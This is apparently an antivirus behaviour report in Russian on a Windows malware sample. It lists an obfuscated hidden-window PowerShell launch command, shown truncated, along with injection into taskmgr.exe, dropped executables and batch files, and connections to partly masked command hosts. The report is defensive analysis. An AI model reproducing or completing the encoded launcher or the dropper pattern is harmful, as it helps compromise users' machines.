Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden $gh47gh7='92@72@56@87@56@E2@27@76@D6@B6@37@16@47@C5@72@02@B2@14@45@14@44@05@05@14@A3@67@E6@56@42@82@37@37@56@36@F6@27@07@D2@47@27@16@47@37@B3@85@06@54@06@94@C7@72@92@72@72@5...
Внедряет код в
следующие пользовательские процессы:
- taskmgr.exe
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\taskmgr.exe
- %TEMP%\lu3udisw.bat
- nul
Удаляет следующие файлы
- %TEMP%\lu3udisw
Перемещает следующие файлы
- %APPDATA%\taskmgr.exe в %TEMP%\lu3udisw
Сетевая активность
Подключается к
- 'sa#####supervisor.com':80
TCP
Другие
- 'cs#####o.duckdns.org':672
UDP
- DNS ASK sa#####supervisor.com
- DNS ASK cs#####o.duckdns.org
Другое
Создает и запускает на исполнение
- '%APPDATA%\taskmgr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden $gh47gh7='92@72@56@87@56@E2@27@76@D6@B6@37@16@47@C5@72@02@B2@14@45@14@44@05@05@14@A3@67@E6@56@42@82@37@37@56@36@F6@27@07@D2@47@27@16@47@37@B3@85@06@54@06@94@C7@72@92@72@72@5...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\Lu3uDiSW.bat" "' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\Lu3uDiSW.bat" "
- '<SYSTEM32>\timeout.exe' /t 5 /nobreak
